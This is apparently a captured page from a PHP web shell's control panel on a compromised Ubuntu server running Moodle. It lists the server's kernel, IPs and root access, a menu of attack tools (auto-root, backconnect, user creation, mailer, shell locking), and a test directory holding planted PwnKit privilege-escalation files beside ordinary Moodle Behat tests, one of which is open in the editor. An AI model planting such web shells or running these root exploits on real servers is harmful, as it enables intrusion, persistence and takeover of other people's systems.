Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
calendar /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_calendar.php
4.86
KB
-rwxrwxrwx
calendar.feature
9.38
KB
-rwxrwxrwx
calendar_import.feature
3.08
KB
-rwxrwxrwx
calendar_lookahead.feature
1.69
KB
-rwxrwxrwx
category_events.feature
5.55
KB
-rwxrwxrwx
export.feature
2.55
KB
-rwxrwxrwx
minicalendar.feature
1.61
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calendar_import.feature
@core @core_calendar @_file_upload @javascript Feature: Import and edit calendar events In order to manipulate imported calendar events As an user I need to import calendar events then edit them. Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | Scenario: Import then edit a calendar event. Given I log in as "teacher1" And I view the calendar for "1" "2016" And I press "Manage subscriptions" And I set the following fields to these values: | Calendar name | Test Import | | Import from | Calendar file (.ics) | | Type of event | User | And I upload "calendar/tests/fixtures/import.ics" file to "Calendar file (.ics)" filemanager And I press "Add" And I should see "Events imported: 2" And I view the calendar for "2" "2017" And I should see "February 2017" And I should see "Event on 2-15-2017" And I should see "Event on 2-25-2017" And I click on "Event on 2-15-2017" "link" And I should see "Some place" And I click on "Edit" "button" And I set the following fields to these values: | Event title | Event on 2-20-2017 | | Description | Event on 2-20-2017 | | timestart[day] | 20 | And I press "Save" When I view the calendar for "2" "2017" Then I should see "Event on 2-20-2017" And I should see "Event on 2-25-2017" And I should not see "Event on 2-15-2017" And I press "Manage subscriptions" And I press "Remove" And I view the calendar for "2" "2017" And I should not see "Event on 2-25-2017" And I should not see "Event on 2-20-2017" Scenario: Import events using different event types. Given I log in as "admin" And I view the calendar for "1" "2016" And I press "Manage subscriptions" And I set the following fields to these values: | Calendar name | Test Import | | Import from | Calendar file (.ics) | | Type of event | User | And I upload "calendar/tests/fixtures/import.ics" file to "Calendar file (.ics)" filemanager And I press "Add" And I should see "User events" And I set the following fields to these values: | Calendar name | Test Import | | Import from | Calendar file (.ics) | | Type of event | Category | | Category | Miscellaneous | And I upload "calendar/tests/fixtures/import.ics" file to "Calendar file (.ics)" filemanager And I press "Add" And I should see "Category events" And I set the following fields to these values: | Calendar name | Test Import | | Import from | Calendar file (.ics) | | Type of event | Site | And I upload "calendar/tests/fixtures/import.ics" file to "Calendar file (.ics)" filemanager And I press "Add" And I should see "Site events"
Close